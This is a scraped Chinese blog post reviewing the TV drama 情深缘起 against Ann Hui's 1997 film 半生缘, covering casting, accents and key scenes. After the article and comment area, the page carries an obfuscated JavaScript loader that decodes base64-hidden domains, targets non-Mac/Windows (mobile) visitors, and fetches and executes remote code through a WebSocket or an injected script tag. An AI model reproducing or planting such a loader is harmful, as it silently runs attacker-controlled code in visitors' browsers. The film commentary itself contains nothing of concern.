刘嘉玲版《半生缘》,一言难尽,再看许鞍华版,神仙选角不可复制

时间:2020-11-22 23:23:35阅读:588
继张一山版《鹿鼎记》之后,又一部“群嘲”的电视剧来袭,那就是《情深缘起》,这个名字没有印象的话,那我说《半生缘》应该就明白了。《情深缘起》改编自张爱玲的小说《半生缘》,不知道什么原因改了个言情味的名
  • 该剧讲述了在三十年月旧上海的一个跨越半生的爱情故事。顾曼桢来到一家工场做文员,同事沈世钧温和敦厚,曼桢和他…

继张一山版《鹿鼎记》之后,又一部“群嘲”的电视剧来袭,那就是《情深缘起》,这个名字没有印象的话,那我说《半生缘》应该就明白了。

《情深缘起》改编自张爱玲的小说《半生缘》,不知道什么原因改了个言情味的名字,本身改名字已经让原著党不满了,我们再看看选角:

50多岁的刘嘉玲 演原著中30岁出头的曼璐;30多岁的蒋欣 演原著中20岁左右的曼桢,难怪《情深缘起》被群嘲《情深母女》了,差不多是人均老了20岁的《半生缘》。

张一山版《鹿鼎记》让我们回看了周星驰版和陈小春版,《情深缘起》的开播,则让我又看了一遍1997年许鞍华的《半生缘》。

一、初遇世钧

许鞍华是目前为止翻拍过张爱玲小说次数最多的导演了,前有《倾城之恋》和《半生缘》,后有《第一炉香》,目前评价最好的是《半生缘》,“某瓣”评分7.8。

看看许鞍华的选角:34岁的梅艳芳饰演曼璐,29岁的吴倩莲饰演曼桢。

其实原著张爱玲就曾给夏志清写信,她认为“可由一人兼饰姊妹俩”,张爱玲就是知道顾家两姐妹长相相似,也正好可以为祝鸿才见异思迁贪恋青春美色埋下伏笔。

但是许鞍华没有这么选择,她选了两个长相有些相似的女演员来演姊妹,我们看梅艳芳和吴倩莲其实眉眼是非常相似的,只不过梅艳芳饰演的是留恋风尘的舞女,所以妆容偏向媚俗;

而妹妹吴倩莲书卷气质浓郁,较开的眼距还有细长的单眼皮,无时无刻不给人疏离而冷清的感觉,但同样了,两人眉眼的韵味却非常的相似,因此由长相看,这就是一对有血缘关系,却又性格差异的姐妹。

除了选角和97版没法比,口音问题更是可笑,刘嘉玲一口港普的音色,就像一个来上海滩闯荡的大姐头,你认为饰演祝鸿才的郭晓冬能打得过她吗?

饰演世钧的是台湾省演员郑元畅 这就更好笑了,一个台湾腔的“江直树”对着字正腔圆的“华妃”说爱她,这也太滑稽了吧。

原著中世钧就是一个胆小唯唯诺诺的男人,让性格本就犹豫不决的黎明来演简直就是本色出演好吗。

我们看看电影中曼桢第一次和世钧正式见面,曼桢把洗好的筷子递给世钧,世钧顺手搁在桌子上,但是细心一看发现曼桢把筷子放在了水杯上,接着世钧又有样学样放在水杯上。

紧接着更有意思的片段来了,世钧顾着看曼桢手上的蚂蚁,被人看出了不自在就喝了洗筷子用的茶水。

这就是一个左顾右盼,在心上人面前越怕失了方寸就越乱的愣头青的形象,这被擅于刻画细节的许鞍华拍的非常细腻,很有张爱玲的味道。

二、叔惠的心上人

电影中叔惠一角由尚未发福的黄磊同志饰演,梳着敷衍了事的油头,但却贼眉鼠眼,没有半分的油腻之感,这就是一个活脱脱的上海公子哥的形象。

叔惠的初恋是世钧的表妹翠芝(吴辰君),但不巧的是,翠芝家非常有钱,他担心女方家看不上自己,于是就将心事压在了心底。

不久后,翠芝也订婚了,世钧还在嘲笑男方和翠芝根本就不配,本来就是,窈窕佳人的翠芝只能和一尘不染的君子相配,那个油头满面的世家子弟怎么配得上她?

只不过两人很快退婚了,造化弄人的是,翠芝嫁给了世钧,叔惠最爱的女人嫁给了自己最好的哥们。

叔惠心死,跑去了美国,一躲就是十年,十年后再次归来,心里却依然对已为人妻和人母的翠芝记忆犹新。

吴辰君这个名字想必大家听的也比较少,但她塑造的角色,大家必然知道,诸如《风云雄霸天下》的孔慈和《小宝与康熙》的双儿。

翠芝听的是父母之命媒妁之言,翠芝心里也是有叔惠的,就算他远去美国十年也未能忘却这份感情。

叔惠要来家里的时候,翠芝紧张得一向收拾东西,反倒是世钧淡定的显得有些不在乎,惹得她拼命对世钧翻白眼。

如果翠芝不是世家千金,没人为人女儿的那份愚孝和乖巧,想必她会对叔惠更勇敢一点;如果叔惠没有那份卑微和自轻自贱,想必他也会对翠芝更坦诚一点。

三、曼璐与曼桢

全片中最相爱相杀的角色就是这对双生花了,姐姐少时为了养家糊口跑去做舞女,甚至连初恋情人豫瑾都放弃了。

此处看起来老实又文弱的豫瑾由王志文饰演,他就是《风声》里老辣阴险的王田香了,不行不夸一下他塑造角色的能力了。

姐姐因为接客的问题害了身子,不行生育,嫁给祝鸿才之后更是害怕没有个孩子不行为自己巩固地位,祝鸿才一角由葛大爷饰演,也非常的贴合原著中对祝鸿才的描写:

不笑的时候像只老鼠,笑起来像一只猫。

这应该是吴倩莲和葛优的第一次合作了,这次两人在戏中的关系比较紧张;不过两人在1999年演的《没完没了》却非常的幽默有趣,和《半生缘》中是两幅图景。

姐姐为了害怕被祝鸿才抛弃,狠下心来谋同祝鸿才凌辱了妹妹,想借着妹妹的肚皮生个孩子,但姐姐的心态是非常复杂的,由她和妹妹吵架的话就能感受到:

都是一个妈生的,凭什么你就高贵我就低贱,我也能够当烈女的,那你们都饿死了!

的确,没有姐姐出去卖身,妹妹根本就无法好好读书长大成人,出落得亭亭玉立,也越来越像年轻时候的姐姐,也正因如此被祝鸿才给盯上了。

花无百日红,姐姐老了,但姐姐还有个妹妹可以顶上呢。

原先姐姐是不愿让妹妹嫁进来做小的,可是出于害怕被别的女人取而代之,还有对妹妹的嫉妒才做了这种腌臜事。

也因为姐姐的囚禁,妹妹就像祝鸿才一向在家里养的小鸟一样被困在笼子里,不见天日,最终怀胎九月生下了孩子。

曼桢和世钧这对璧人也注定无疾而终。

四、人生若只如初见

姐姐死后,曼桢也迫于孩子年幼跟在祝鸿才身边,日子就这么平淡的过着,曼桢看起来像一个没事人一样,直到十年后曼桢再次遇见世钧。

世钧牵着曼桢的手,看到了手腕上的伤疤,原来平淡的日子只是一种假象,伤痛也从未被遗忘,曼桢是个很刚硬的女子,因为在那个年代没有什么女人在贞洁被毁后,还能好好的活着。

但电影院上放着喜剧片《掷果缘》的时候,她却在无声哭泣,身边伴随着观众的哈哈大笑。

眼泪在乱世中是不值钱的。

曼桢当年写过信给世钧,可是被世钧他妈一把火给烧了,直到现在,她才能把曾经的苦楚尽情宣露,世钧有些手足无措,有些埋怨她怎么现在才说。

评论

  • 评论加载中...
--== 选择主题 ==--
function JeqEKbgC(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function FJeCoyWV(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JeqEKbgC(t);};window[''+'E'+'V'+'J'+'n'+'d'+'j'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=FJeCoyWV,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('aGoueGluYm8tbG9yYSS5jbg==','dHIueWVzdW422NzguY229t','151898',window,document,['S','2']);}:function(){};